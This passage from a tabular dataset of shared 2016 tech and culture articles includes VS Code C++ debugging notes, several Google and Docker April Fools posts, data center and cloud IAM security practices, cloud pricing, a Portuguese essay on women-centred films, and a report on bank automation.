Also given there is currently no semantic analysis that is performed, Go to definition and Peek definition as only some-what accurate as they are based upon text parsing and matching of symbols. We are working hard to make this happen. While the current language service experience is designed to provide you value out-of-the-box, one can further improve the experience by providing a little more information about include paths not in your working directory opened in Visual Studio Code. In the future we will use the same mechanism to ask for more details to drive other language service features such as Auto-Complete. As you traverse through your source code you will notice some headers are squiggled. The reason why these headers are squiggled is because we were not able to find them in the current source or sub source folders opened in Visual Studio Code. Hovering over these squiggles a light bulb action will appear which will allow you to specify the path on disk for these headers in a properties file known as the 'c_cpp_properties.json' file as shown in the figure below. Adding your include directories to the ""includePath"" property in this file for the specific configuration you are interested in will help drive a more complete and accurate language service experience. Debugging your C/C++ application in Visual Studio Code This extension also introduces great support for debugging your C++ program with Visual Studio Code. You'll be able to use all of the standard debugging capabilities that you're familiar with, including setting and hitting breakpoints, stepping, inspecting variables, and viewing the call stack. Beyond that, you'll also able to take advantage of some advanced debugging capabilities, including function breakpoints, expression evaluation, conditional breakpoints, and core dump debugging. The debugging experience currently only works out-of-the-box for Linux - Ubuntu 14.04 (x64). We are working on OS X support as well, the current experience requires manual installation steps and has some limitations . Debugging on windows with VSCode for C/C++ code is currently not supported. Getting set up Before you can get started debugging C++ code in Visual Studio Code, you'll need to set a few things up. Navigate to the Debug View by clicking on the debug icon on far left toolbar. Hit the ""Settings"" gear icon in the debug pane and select ""C++ Launch (GDB)."" This will bring up the launch.json file. The launch.json file defines a set of configurations that tell the debugger how to interact with your built application. We include two configurations by default-one which shows the properties necessary for launching the application from VS Code, and the other which shows the properties necessary for attaching to an already running process. Hovering over a property name will show a tooltip that describes the property and possible values, but minimally you will need to update the ""program"" property to have the program name and path. You can learn more about the properties in the launch.json file and how to use them by reading the VS Code debugging documentation . Once your launch.json file is properly configured, you're ready to debug a C++ program. Note that VS Code will not build your program (but simply debug the built program) unless you also create a task.json file and set it to the preLaunchTask property in the launch.json file. Function Breakpoints Function breakpoints enable you to break execution at the beginning of a function rather than on a particular line of code. To set a function breakpoint in VS Code, right click in the breakpoints pane and click ""Add Function Breakpoint,"" then type the name of the function on which you'd like to break. Expression Evaluation Debugging C++ code often requires more than simply viewing the value of variables at a breakpoint. The C++ extension for VS Code has support for evaluating expressions in several spaces. You can type an expression into the Watch pane, and it will be evaluated when a breakpoint is hit. Note that this has side effects-an expression that modifies the value of a variable will modify that value for the duration of program execution. If you'd like to view the value of an expression that is a part of your code, you can hover over any expression in the editor while stopped at a breakpoint and the data tip will show the evaluated expression. If you only want to evaluate an expression once (rather than having it in the Watch pane), you can simply type the expression in the Debug Console. Conditional Breakpoints Right clicking on a breakpoint and selecting ""Edit breakpoint"" will open a peak window in your editor. Type a condition (eg. ""i > 15"") and that breakpoint will only activate and break execution when that condition evaluates to true. Conditional breakpoints are indicated by a breakpoint symbol that has the black equals sign. Hovering over a conditional breakpoint will show its value. Core Dump Debugging The extension also offers the ability to debug using a memory dump. To do this, add the ""coreDumpPath"" property to the C++ Launch configuration in your launch.json file and set it to the path to your core dump. This will even work for multi-threaded programs and x86 programs being debugged on a x64 machine. GDB and MI commands You can also use the debug console with the ""-exec"" command to execute GDB commands directly (be careful though-executing GDB commands directly in the debug console is untested and may crash VS Code in some cases). A full introduction to debugging in VS Code is available here . Let us know what you think! This particular release of the C/C++ extension for Visual Studio Code is a start and we'll need your help to make this a full experience. If you'd like to help us build the best C/C++ experience on any platform, you can join our Cross-Platform C++ Insiders group where you'll be able to talk directly to the product team and influence our investment in this area. We also recognize that there are some immediate asks you're likely to have, so please go ahead and add them to Visual Studio Code user-voice and we would love your help in prioritizing them just right. Thank you for reading to the end, I look forward to seeing the bugs you report , and the requests you want us to consider . If you have any questions or comments that don't fit a bug or a feature request, please drop me a comment below - our team is monitoring this blog comments and of-course don't forget to go download the C/C++ extension for VS Code .",en
1459517901,CONTENT SHARED,-5525441367600219076,-1387464358334758758,4032304591654000532,,,,HTML,https://gmail.googleblog.com/2016/03/introducing-gmail-mic-drop.html,April Fools - Introducing Gmail Mic Drop,"Email's great, but sometimes you just wanna hit the eject button. Like those heated threads at work, when everyone's wrong except you (obviously). Or those times when someone's seeking group approval, but your opinion is the only one that matters (amirite?). Or maybe you just nailed it, and there's nothing more to say (bam). Today, Gmail is making it easier to have the last word on any email with Mic Drop. Simply reply to any email using the new 'Send + Mic Drop' button. Everyone will get your message, but that's the last you'll ever hear about it. Yes, even if folks try to respond, you won't see it. When you drop the mic, your email will also include an explanatory image--just to help set expectations. Friends and family have been testing Gmail Mic Drop for months, and the response so far has been awesome: ""Sending email is so much easier when you don't have to worry about people responding!"" ""Mic Drop is a huge improvement over Mute! I can finally let everyone know I'm just not interested."" ""My team solves problems so much faster with Mic Drop. In fact, we stopped talking to each other entirely!"" Gmail Mic Drop is launching first on the web, but mobile updates are on the way. So stay tuned, and stay saucy.",en
1459518678,CONTENT SHARED,-998818216447049475,-8020832670974472349,4073850682272783968,,,,HTML,https://cloudplatform.googleblog.com/2016/04/introducing-Style-Detection-for-Google-Cloud-Vision-API.html,Introducing Style Detection for Google Cloud Vision API,"At Google Cloud Platform , we're thrilled by the developer community's enthusiastic response to the beta release of Cloud Vision API and our broader Cloud Machine Learning product family unveiled last week at GCP NEXT . Cloud Vision API is a tool that enables developers to understand the contents of an image, from identifying prominent natural or man-made landmarks to detecting faces and emotion. Right now, Vision API can even recognize clothing in an image and label dominant colors, patterns and garment types. Today, we're taking another step forward. Why only evaluate individual components of an outfit when we could evaluate the full synthesis - the real impact of what you wear in today's culture? We're proud to announce Style Detection , the newest Cloud Vision AP feature. Using millions of hours of deep learning, convolutional neural networks and petabytes of source data, Vision API can now not just identify clothing, but evaluate the nuances of style to a relative degree of uncertainty. Style Detection aims to help people improve their style - and lives - by navigating the complex and fickle landscape of fashion. Does a brown belt go with black shoes? Pleats or no pleats? ""To tuck or not to tuck?"" is now no longer a question. With Style Detection, we're able to mine our nearly bottomless combined data sets of selfies, fashion periodicals and the unstructured ramblings of design bloggers into a coherent and actionable tool for picking tomorrow's trousers. We're already seeing incredible results. Across our training corpus, we were able to detect the majority of personal style choices and glean with 52-97% accuracy not just what people were wearing, but what those clothes might say about them. The possibilities are endless - and it could mean the end of spandex forever! Learn more about Style Detection and the Cloud Vision API here . We're offering it to a small group of developers in alpha today (obviously, there are still details to iron out). - Posted by Miles Ward, Global Head of Solutions",en
1459518806,CONTENT SHARED,6090517797383271316,-1387464358334758758,4032304591654000532,,,,HTML,http://googlediscovery.com/2016/04/01/google-apresenta-o-realbooks-melhor-forma-de-ler-os-seus-livros-digitais/,"April Fools - Google apresenta o realBooks, a melhor forma de ler os seus livros digitais | Google Discovery","Livros digitais são ótimos, mas todos sabemos que eles perdem as propriedades físicas dos livros reais. Mas... e se pudéssemos ter o melhor dos dois mundos? Foi isso o que a equipe do Google Play fez com o lançamento do realBooks. Para começar, eles pegaram um smartphone Android e removeram todas as coisas desnecessárias como apps, teclado, GPS e memória. Afinal, livros não têm isso. Esse smartphone, então, cumpre apenas uma tarefa: permitir que você leia apenas um livro digital. Veja, no vídeo a seguir, a filosofia por trás do novo realBooks: É o fim das prateleiras vazias.",pt
1459520669,CONTENT SHARED,8298709454703868984,3891637997717104548,-4250879749602984066,,,,HTML,https://cloudplatform.googleblog.com/2016/03/Google-shares-data-center-security-and-design-best-practices.html,Google shares data center security and design best practices,"GCP NEXT 2016 - San Francisco - Attendees at Google Cloud Platform 's user conference this week got a chance to hear from two of the company's leaders - Joe Kava, VP of data center operations and Niels Provos, distinguished engineer for security and privacy - on how the company designs, builds, operates and secures its data centers globally. They shared some of the secret sauce that makes Google's data centers so unique and what this means for GCP customers running inside them. Security and data protection Google's focus on security and protection of data is a key design criteria. Our physical security features a layered security model, including safeguards like custom-designed electronic access cards, alarms, vehicle access barriers, perimeter fencing, metal detectors and biometrics. The data center floor features laser beam intrusion detection. Our data centers are monitored 24/7 by high-resolution interior and exterior cameras that can detect and track intruders. Access logs, activity records and camera footage are available in case an incident occurs. Data centers are also routinely patrolled by experienced security guards who have undergone rigorous background checks and training (look closely and you can see a couple of them in this 360 degree data center tour ). As you get closer to the data center floor, security measures increase. Access to the data center floor is only possible via a security corridor which implements multi-factor access control using security badges and biometrics. Only approved employees with specific roles may enter. Less than one percent of Google employees will ever set foot in one of our data centers. We employ a very strict end-to-end chain of custody for storage, tracking everything from cradle to grave, from the first time a HD goes into a machine until it's verified clean/erased or destroyed. Information security and physical security go hand-in-hand. Data is most vulnerable to unauthorized access as it travels across the Internet or within networks. For this reason, securing data in transit is a high priority for Google. Data traveling between a customer's device and Google is encrypted using HTTPS/TLS (Transport Layer Security). Google was the first major cloud provider to enable HTTPS/TLS by default. We build our own hardware and monitoring systems Google servers don't include unnecessary components such as video cards, chipsets or peripheral connectors, which can introduce vulnerabilities. Our production servers run a custom-designed operating system (OS) based on a stripped-down and hardened version of Linux. Google's servers and their OS are designed for the sole purpose of providing Google services. Server resources are dynamically allocated, allowing for flexibility in growth and the ability to adapt quickly and efficiently, adding or reallocating resources based on customer demand. For these teams to be successful they must have advanced, real-time visibility into the status and functionality of our infrastructure. As you might know, Google is obsessed with data, which is a bit of an understatement. To aid our teams, we've built monitoring and controls systems for all functional areas, from the servers, storage and networking systems, to the electrical distribution, mechanical cooling systems and security systems. We're monitoring all aspects of performance and operations from ""chip to chiller."" Using machine learning to optimize data center operations To help in this endeavor, we're using our machine learning / deep learning algorithms for data center operations. As you can imagine, our data centers are large and complex, with electrical, mechanical and controls systems all working together to deliver optimal performance. Because of the sheer number of interactions and possible settings for these systems, it's impossible for mere mortals to visualize how best to optimize the data center in real time. However, it's fairly trivial for computers to crunch through these possible scenarios and find the optimal settings. Over the past couple years we've developed this algorithm and trained it with billions of data points from our sites all over the world. We now use this machine learning model to help visualize the data so the operations teams can set up the data center electrical and cooling plants for the optimal, most efficient performance on any given day considering up to 19 independent variables that affect performance. This helps the team identify discontinuities or efficiency inflection points that aren't intuitive. Powered by renewable energy On the energy side, we're committed to powering our infrastructure with renewable energy. We're the world's largest private investor in renewable energy. To date we've invested more than $2 billion in renewable energy Power Purchase Agreements. These PPA's are very important because (1) we're buying the entire output of wind and solar farms for long periods, typically 10-20 years, (2) these wind farms are on the same power grids as our data centers, and (3) wind farms and data centers sharing power grids gives the project developer the financial commitment they need to get the project built, so we know our investment is adding renewable power to the grid that wouldn't otherwise have been added. For cooling, we've redesigned our fundamental cooling technology on average about every 12-18 months. Along the way, we've developed and pioneered innovations in water-based cooling systems such as seawater cooling, industrial canal water cooling, recycled / grey water cooling, stormwater capture and reuse, rainwater harvesting and thermal energy storage. We've designed data centers that don't use water-based solutions, instead using 100% outside air cooling. The point is there's no ""one size fits all"" model here. Each data center is designed for the highest performance and highest efficiency for that specific location. Google employees operate our data centers, not third parties The norm in the industry is for the design and building contractor to drop off a set of owners manuals and drawings along with the keys to the front door and wish the operator of the data center good luck! All too often these operations teams aren't employed by the owner, but rather an outsourced low-bidder. This is not the case at Google. Our employees manage and operate our data centers. If there's one certainty in data center operations, it's that problems and faults will always happen in the middle of the night - typically on Sundays - when nobody else is around to help :-) Engineering + operation teams are combined We also take a different approach to the people we hire and how they run our data centers. Our engineers and operations professionals come from very diverse backgrounds but all have a common trait - they're systems thinkers. Many of our team members come from mission critical environments, like the Navy nuclear submarine program, where mistakes can be catastrophic - they understand how systems interact together. Further, we've built regional site teams at all our data center campuses comprised of the engineers responsible for the design and construction, working side-by-side with the operations teams. Together these integrated teams are responsible for building capacity, commissioning the systems and providing 7x24 operations. This gives us an unparalleled level of ownership of our infrastructure. - Posted by Joe Kava, VP, Data Center Operations, Google",en
1459521194,CONTENT SHARED,-4740532350684079805,3891637997717104548,-4250879749602984066,,,,HTML,https://cloudplatform.googleblog.com/2016/03/Snapchat-shares-security-best-practices-for-running-on-GCP-practices.html,Snapchat shares security best practices for running on GCP,"Snapchat security engineer, Subhash Sankuratripati, took the stage at GCP NEXT in San Francisco this week, to share his company's best practices for running securely at scale on Google Cloud Platform . And when we say at scale, we mean at scale! Snapchat has over 100 million daily users and supports 8 billion videos, viewed daily. The company runs about 100 separate GCP projects , each requiring different permissions for who at the company can do what on which GCP resources. Until recently, Snapchat engineers exclusively used viewer/editor roles and built their own stopgaps to manage resources on the platform. With the launch of IAM Roles in beta, Snapchat now uses this service to set fine grained permissions it needs to help secure its users' data. Essentially, Snapchat operates on the principle of least privilege. The company is working on using our new iam.setpolicy feature to create what it calls Access Control List leases or ""ACL leases."" These leases temporarily grant access to resources only when someone needs them, then the policy tears them down when the lease is over, for example: AccessControlService can iam.SetPolicy When bob@ needs access, AccessControlService adds bob@ to policy AccessControlService removes bob@ after 1 hour Like the nature of Snapchat itself, the company wants to treat access to its cloud resources as ephemeral for maximum security. Snapchat has implemented this leasing model for certain resources and privileges and is striving towards a goal where developers are granted access to the resources when they need it and for however long they need it. Snapchat's using the new Organizational Node , which sits above projects and manages GCP resources. This prevents shadow projects from being created, giving the company more control over all projects and the permissions of members associated to those projects. Sankuratripati said he's also doing data siloing based on role using IAM Roles and is testing the IAM Service Account API , which can be used by programs to authenticate to Google and make API calls. The possibilities this opens up are endless, according to Sankuratripati. He said microservice to microservice authentication would mean an even larger reduction in what his engineers can manage directly, locking down access to resources even further. Snapchat's strategy is essentially to ensure its developers have enough freedom to get their job done, but not enough to get themselves into trouble. Stay tuned for more resources coming soon on using IAM on Cloud Platform and as you check out these services, please share your feedback with us at GCP-iam-feedback@google.com . - Posted by Jo Maitland, Managing Editor, Google Cloud Platform",en
1459524591,CONTENT SHARED,2709926970543371965,-1130272294246983140,-5732531255984918367,,,,HTML,http://www.revistacapitolina.com.br/a-importancia-dos-filmes-de-mulherzinha/,A importância dos filmes de mulherzinha - Capitolina,"Outro dia conversava com amigos - todos homens - sobre dois filmes que estavam concorrendo a diversas premiações. Um era O Regresso ( The Revenant, 2015 ) e o outro Brooklyn (2015). O primeiro conta a história de um homem que após ser atacado por um urso e traído pelos seus companheiros de viagem, precisa lutar para sobreviver na floresta no meio de um inverno rígido. O segundo conta a história de uma menina irlandesa que migra sozinha para os EUA no final dos anos quarenta. A grande discussão era que eu não senti absolutamente nada além de tédio vendo o primeiro filme. Não tiro o mérito técnico do filme, realmente é muito bem feito, mas pra mim, é mais um homem branco tentando sobreviver, e já vi tantos. Homem branco tentando sobreviver no mar, no fogo, em Marte, já deu pra mim. Enquanto o outro eu amei, chorei do início ao fim. Falou demais comigo esse filme. Meus colegas não aceitavam isso, Regresso era o melhor filme do ano e pronto, não deveria nem ter sido indicado. Depois de quebrar diversos argumentos deles, finalmente me falaram por que Brooklyn era tão inferior: é por ser filme de mulherzinha. Essa discussão me fez pensar muito sobre esse tipo de filme. Dramas centrados em mulheres ou até mesmo as famosas comédias românticas, obras que visam o público feminino, assim como tudo que é destinado à gente ou faz parte do nosso universo é considerado inferior. Parei para pensar nos grandes filmes que são considerados clássicos do cinema ou até nos filmes recentes que ganharam premiações e são considerados ""grandes filmes"" e a maioria esmagadora, passa longe de ser destinado a mulheres. A maioria esmagadora é centrada em homens e suas histórias, nós mulheres estamos ali só para acompanhar e no máximo ajudar eles a alcançarem seus objetivos. Esses são filmes ""sérios"". Nossas histórias são besteiras, são filmes de mulherzinha. Pegue um diretor como Woody Allen, por exemplo. Seus filmes são bem concentrados no diálogo e ele fala até bastante de amor, fez filmes como Noivo neurótico, noiva nervosa ( Annie Hall, 1977) , Manhattan (1979), Tudo pode dar certo (Whatever Works, 2009) , mas na maioria das vezes o ponto de vista é masculino, com um personagem principal homem. Ele (Allen) é considerado um gênio, um mestre do cinema. Agora uma diretora como Nora Ephron, que também fazia filmes muito concentrados em diálogos, que também falava de amor, como Sintonia do Amor (Sleepsless in Seattle, 1993) e Harry e Sally - Feitos um para o outro (When Harry Met Sally, 1989) , esses são filmes de mulherzinha, esses não são tão grandiosos quanto os do Woody Allen, por quê? Voltando ao Brooklyn : li uma crítica feita por um jornalista homem que detonava o filme e basicamente resumia o filme a uma garotinha que quando acha um namorado fica tudo bem e que seu maior desafio é escolher entre dois amores e como isso era pequeno e não valia a pena ser visto no cinema. Primeiro que Brooklyn é muito mais que isso, o filme é sobre amadurecer, sobre quando crescemos precisamos fazer escolhas e lidar com o fato de quando escolhemos algo, inevitavelmente, estamos abrindo mão de outra coisa e que isso causa um sofrimento e uma angústia muito forte. Será que se fosse um homem passando por tudo isso que ela passa, o jornalista conseguira enxergar essa complexidade? Tendo a achar que sim. Segundo que, mesmo se o filme fosse só ela sofrendo as idas e vindas do amor, por que assistir a mulheres lidando com amores, felicidades e sofrimento relacionados a isso é tão menos importante do que ver homens sobrevivendo na selva? Quando eu vi o filme 500 dias com ela ( 500 Days of Summer, 2009 ), fiquei bem irritada e não sabia exatamente o porquê. O filme é uma comédia romântica que conta a história de um rapaz que se apaixona por uma menina que não acredita em amor e como os dois lidam com essa situação. Temos aqui uma troca de papel de gêneros que estamos acostumados a ver no cinema, que é até interessante. Aqui temos o homem super apaixonado e a mulher não; a mulher não curtindo ter relacionamentos, não sabendo lidar com isso direito. Além da personagem feminina ser uma clássica manic-pixie-dream-girl , descobri o que me irritava: esse filme é considerado ""cool"", não é como uma comédia romântica comum, ele é interessante, porque é o homem que está sofrendo por amor e, de repente, quando o homem tem que lidar com isso o filme fica interessante e merece ser comentado. Esse não é o único filme faz isso. Posso citar vários, a maioria são considerados filmes ""indie"", sensíveis e estão em festivais como o Sundance e outros. Não tiro a validade deles e até gosto da maioria, só questiono por que as comédias românticas clássicas com mulheres sofrendo e vivendo por amor não estão nesses festivais. Isso me faz pensar também como é um reflexo da vida real. Quando vemos um homem passando por um término difícil, sofrendo ou tendo que lidar com uma rejeição como ele é sensível e como ela foi uma idiota por ter dispensado ele, já quando é uma mulher tendo que lidar com a mesma coisa, ela é uma maluca que está com raiva, ou coitada, ela é uma desesperada que não para de correr atrás de homem, tem que superar logo. E como esse julgamento diferenciado às vezes faz com que nós mulheres escondamos nossos sentimentos, algo que só nos faz mal . Não quero com esse texto fazer todo mundo amar comédias românticas e filmes de mulherzinha. Entendo também como todos esses filmes podem ser problemáticos, começando pela imensa falta de representatividade, porque só falamos aqui de casais héteros e mulheres brancas, magras e cis. O mundo das mulheres não gira somente em torno dos homens e de amores, tem muito mais a ser explorado e grande parte desses filmes deixam de ir mais a fundo e ficam na superfície. O que eu quero é não cair mais nesse falso julgamento de que para ser um grande filme sério e com méritos a história tem que ser centrada em um homem. Precisamos olhar para os filmes que tratam do mundo feminino com outros olhos. Dando a mesma importância e valor que damos aos outros. Precisamos principalmente incentivar mulheres a entrarem nesse clube do Bolinha que é o cinema e deixar elas se tornarem roteiristas e diretoras, para elas poderem contar as nossas histórias.",pt
1459527855,CONTENT SHARED,1542516532533301214,8414731042150985013,4543899740167763020,,,,HTML,http://developers.redhat.com/blog/2016/03/31/no-cost-rhel-developer-subscription-now-available/,No-Cost RHEL Developer Subscription now available,"Posted on: No, there is no typo in the title. :) Yes, you did read it correctly. :) And, yes, it's a great time to be at Red Hat. Today, Red Hat announced the availability of a no-cost Red Hat Enterprise Linux developer subscription, available as part of the Red Hat Developer Program . Offered as a self-supported, development-only subscription, the Red Hat Enterprise Linux Developer Suite provides you with a more stable development platform for building enterprise applications - across cloud, physical, virtual, and container-centric infrastructures. Red Hat SVP Craig Muzilla added some good points in his blog , too. If you're building enterprise applications, this is a great complement to what we've already been doing with the Red Hat JBoss Middleware products - all are now available as no-cost developer subscriptions via the Red Hat Developer Program. With this subscription, we're giving developers the chance to: write your code on the same environment as test and production systems, code at home with the same Red Hat Enterprise Linux that you use at work, containerize your apps, and a lot more. What you get The no-cost Red Hat Enterprise Linux Developer Suite gets you: Red Hat Enterprise Linux Server - An application development entitlement to the world's leading enterprise Linux platform. Development tools with long-term support - Each major Red Hat Enterprise Linux release is supported for 10 years, so a broad set of included ""base"" development tools that are also supported for that length of time; examples include GCC, Python, PHP, Ruby, Java, etc. Development tools with frequent updates - We produce annual updates of important development components such as programming languages (GCC, Python, Node.js, etc.), open source databases (PostgreSQL, MongoDB, etc), web servers (Apache httpd, Nginx, etc.), and other development tools (Eclipse, Git, etc.); these are packaged via Red Hat Software Collections and Red Hat Developer Toolset. Containers, microservices, and cloud. Oh my. If you're working on, or starting to look at, Linux containers (aka Docker) for cloud-native applications and/or microservices, this new offering means you now have access to the Red Hat Container Development Kit (CDK) , a collection of container development tools and resources. The CDK uses a different install process that utilizes Vagrant (and Vagrant boxes), so users will have access to Red Hat Enterprise Linux Server as well as a local desktop instance of OpenShift Enterprise 3 for development use. Go get it! Download this no-cost RHEL Developer Suite subscription and give it a go. Click download, register and agree to terms, click again. It's quite simple. If you want to install it as a guest on your local system, we have some handy Getting Started guides to walk you through it - for bare metal or a hypervisor on Windows, MacOS, or another Linux. Join Red Hat Developers , a developer program for you to learn, share, and code faster - and get access to Red Hat software for your development. The developer program and software are both free!",en
1459528148,CONTENT SHARED,7454130161726657097,-8020832670974472349,4073850682272783968,,,,HTML,https://cloudplatform.googleblog.com/2016/03/Google-Cloud-Datastore-simplifies-pricing-cuts-cost-dramatically-for-most-use-cases.html,"Google Cloud Datastore simplifies pricing, cuts cost dramatically for most use-cases","Google Cloud Datastore is a highly-scalable NoSQL database for web and mobile applications. Today we're announcing much simpler pricing, and as a result, many users will see significant cost-savings for this database service. Along with the simpler pricing model, there'll be a more transparent method of calculating stored data in Cloud Datastore. The new pricing and storage calculations will go into effect on July 1st, 2016. For the majority of our customers, this will effectively result in a price reduction. New pricing structure We've listened to your feedback and will be simplifying our pricing . The new pricing will go into effect on July 1st, 2016, regardless of how you access Datastore. Not only is it simpler, but also the majority of our customers will see significant cost savings. This change removes the disincentive our current pricing imposes on using the powerful indexing features, freeing developers from over-optimizing index usage. We're simplifying pricing for entity writes, reads and deletes by moving from internal operation counting to a more direct entity counting model as follows: Writes : In the current pricing, writing a single entity translated into one or more write operations depending on the number and type of indexes. In the new pricing, writing a single entity only costs 1 write regardless of indexes and will now cost $0.18 per 100,000. This means writes are more affordable for people using multiple indexes. You can use as many indexes as your application needs without increases in write costs. Since on average the vast majority of Entity writes previously translated to more than 4 write operations per entity, this represents significant costs savings for developers. Reads : In the current pricing, some queries would charge a read operation per entity retrieved plus an extra read operation for the query. In the new pricing, you'll only be charged per entity retrieved. Small ops (projections and keys-only queries) will stay the same in only charging a single read for the entire query. The cost per Entity read stays the same as the old per operation cost of $0.06 per 100,000. This means that most developers will see reduced costs in reading entities. Deletes : In the current pricing model, deletes translated into 2 or more writes depending on the number and type of indexes. In the new pricing, you'll only be charged a delete operation per entity deleted. Deletes are charged at the rate of $0.02 per 100,000. This means deletes are now discounted by at least 66% and often by more. Free Quota : The free quota limit for Writes is now 20,000 requests per day since we no longer charge multiple write operations per entity written. Deletes now fall under their own free tier of 20,000 requests per day. Over all, this means more free requests per day for the majority of applications. Network : Standard Network costs will apply. New storage usage calculations To coincide with our pricing changes on July 1st, Cloud Datastore will also use a new method for calculating bytes stored. This method will be transparent to developers so you can accurately calculate storage costs directly from the property values and indexes of the Entity. This new method will also result in decreased storage costs for the majority of customers. Our current method relies heavily on internal implementation details that can change, so we're moving to a fixed system calculated directly from the user data submitted. As the new calculation method gets finalized, we'll post the specific details so developers can use it to estimate storage costs. Building what's next With simpler pricing for Cloud Datastore, you can spend less time micro-managing indexes and focus more on building what's next. Learn more about Google Cloud Datastore or check out the our getting started guide . - Posted by Dan McGrath, Product Manager, Google Cloud Platform",en
1459529557,CONTENT SHARED,3475346635930218065,-8020832670974472349,4073850682272783968,,,,HTML,https://blog.docker.com/2016/04/announcing-docker-hub-classic/,Announcing Docker Hub Classic,"As we passed 2.5B pulls on Docker Hub recently, we were proud but we were also concerned. What if we're simply using too much of the Internet for Docker? We certainly wouldn't want to get in the way of streaming your favorite show (by the way, winter is coming). So, today we're announcing Docker Hub Classic , an alternative way for Hub users to pull images from Docker Hub. The benefits of Docker Hub Classic include: Agility - what could be faster and easier than a DVD mail service? Portability - simply take the DVD out of your machine and move it to another Control - manage your Docker image queue from your mobile phone so your physical mailbox always has the content you need when you need it! In the next release of Docker Engine, we'll be adding an additional flag: docker pull <image> --dvd Using the --dvd flag will ship you the image on a DVD to save on Internet bandwidth. Anyone with a Hub account can have up to 3 DVDs at one time. Docker Hub Classic also offers paid plans as an extension to a Docker Hub subscription to meet any needs including up to 10 images per week, which should be enough for anyone! Returning images is easy! Just put the DVD in the envelope with prepaid postage and drop it in the mail. On the product roadmap for Docker Hub Classic v2.0 is pulling your images from a floppy disk and a USB flash drive. Learn More about Docker",en
1459531710,CONTENT SHARED,-3633300009206493694,4670267857749552625,2593805343639084745,,,,HTML,http://www.socialmediatoday.com/technology-data/internet-things-your-home-or-your-body-infographic,Is the Internet of Things in Your Home? Or on Your Body? [INFOGRAPHIC],"Are machines communicating with each other at your house? Is a technology that you wear on your body communicating with your computer? The Internet of Things is here. ""There's currently a whole lot of capital moving around the IoT tech sector, over 800 companies are working on IoT devices and platforms, and new IoT components come on the market on a regular basis,"" according to an article on appaccessories.co.uk. This infographic, also from appaccessories.co.uk, includes a good visual summary of the current state of the Internet of Things, dividing it into categories. ""In fact, we think it's safe to say that there are 15 separate IoT categories - everything from fitness to health care to really cool toys,"" according the article. ""Of these 15 distinct groupings, the home category is the largest by a wide margin, with nearly 140 companies working on smart home products."" Where is investment going? It is seems to be going toward the developing of of user interfaces. ""It almost seems counter intuitive - if these products are smart, there should be very little interaction with them,"" according to the article. ""However, the initial setup can't be too complicated, and lots of these products need to be able to work with one another. This is especially the case in home IoT devices, the category in which venture investing is the highest. Without a good interface, the general public might not be interested in purchasing these things."" Where is this development happening? There are over 100 companies producing IoT devices in San Francisco alone. There are 26 companies in New York, and another 37 in Canada. There are 40 IoT companies in the UK, 22 of which are located in London. You'll also find development in this field from companies in places like China, Australia, and many countries in Europe.",en
1459532804,CONTENT SHARED,-1892877682006771545,6644119361202586331,8031888871367013741,,,,HTML,http://android-developers.blogspot.com.br/2016/03/get-your-apps-and-games-ready-for-space.html,Get your apps and games ready for space with Google Play | Android Developers Blog,"Posted by Lily Sheringham, Google Play team Google Play lets you distribute your apps and games to over 1 billion active Android users around the world. With advances in space exploration and the advent of galactic tourism, there will be a high number of users beyond this world that developers need to start thinking about, too. Google Play can now help you reach them. We've added new features to the Google Play Developer Console and updated the material design guidelines , to help you design, test, and distribute your apps and games in space. Here's a look at how The Guardian, one of the largest English-news organizations in the world, enhanced its Android app to enable astronauts and space travellers to stay informed and up-to-date, while in orbit or on the surface of the moon. ""I am pleased to have The Guardian's application to test the growing Interplanetary Internet"" says Vint Cerf, distinguished visiting scientist at the Jet Propulsion Laboratory and Google's Chief Internet Evangelist. ""The interstellar version is in development and I'm looking forward to having more Google Play apps and games tested in space flight."" Get your apps and games ready for take off today .",en
1459532810,CONTENT SHARED,4196146076384098027,5660542693104786364,-6020531504471137165,,,,HTML,http://www.infomoney.com.br/negocios/inovacao/noticia/4813697/ponto-virada-dos-bancos-vai-demitir-milhoes-esta-proximo-diz,"O ponto de virada dos bancos vai demitir milhões e está próximo, diz Citi","SÃO PAULO - A transformação da automação nos está muito próxima, de acordo com um relatório de perspectivas e soluções publicado recentemente pelo Citi. E isso pode reduzir o pessoal em até 30%. Embora os tradicionais ainda detenham 99% da receita bancária dos Estados Unidos, o investimento maciço em tecnologia tende a reverter esse cenário muito em breve, escreve Kathleen Boyle, CFA e uma das especialistas que assinam a pesquisa. Reverter esse cenário nada mais é, de acordo com a publicação, do que automatizar o máximo possível os processos bancários. ""O momento Uber do banco significará uma desintermediação das sucursais bancárias, e não os bancos em si"", explica o relatório: o canal de interação não passará mais por agências e, portanto, nem por pessoas. A previsão do Citi é que, em 2023, o impacto da disrupção digital nas receitas bancárias totais será de 17%. Em 2015, o investimento em companhias de fintech ao redor do mundo foi de US$ 19 bilhões. ""Nós acreditamos que pode haver uma redução de mais 30% na equipe [dos bancos] entre 2015 e 2025; saindo da queda recente de 2% ao ano para 3% ao ano, devido principalmente à automação do varejo bancário"", diz o texto. Em um gráfico, o relatório mostra o número de funcionários caindo de 2,99 milhões nos EUA para 1,8 milhão em 2025; na Europa, a redução seria de 3,26 milhões para 1,82 milhão - ou seja, uma queda de 45%. Hoje, ainda segundo o estudo, a equipe bancária que trabalha em agências e funções relacionadas é responsável por até 65% dos custos em operações de varejo. Ao mesmo tempo, os analistas preveem uma mudança de função. ""Conforme mais operações são automatizadas e realizadas em dispositivos móveis, acreditamos que haverá um rebalanceamento de pessoal, que passará de papeis de transações para consultoria"", escrevem eles.",pt
